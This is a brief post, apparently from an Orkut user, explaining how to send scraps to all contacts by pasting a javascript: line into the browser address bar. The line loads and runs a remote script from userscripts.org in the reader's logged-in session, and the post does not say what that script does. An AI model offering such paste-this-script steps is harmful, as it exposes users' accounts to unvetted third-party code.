here is a clear procedure to Scrap all

go to ur homepage or any page of orkut

~Copy and Paste the script in the address bar

Address bar is the place where the address of the site is written
for example for this page http://www.orkut.com/............... is the address bar
make sure there is nothing in the address bar when u r pasting the script

~click go or press enter


here is the script:


javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://userscripts.org/scripts/source/14172.user.js';void(0)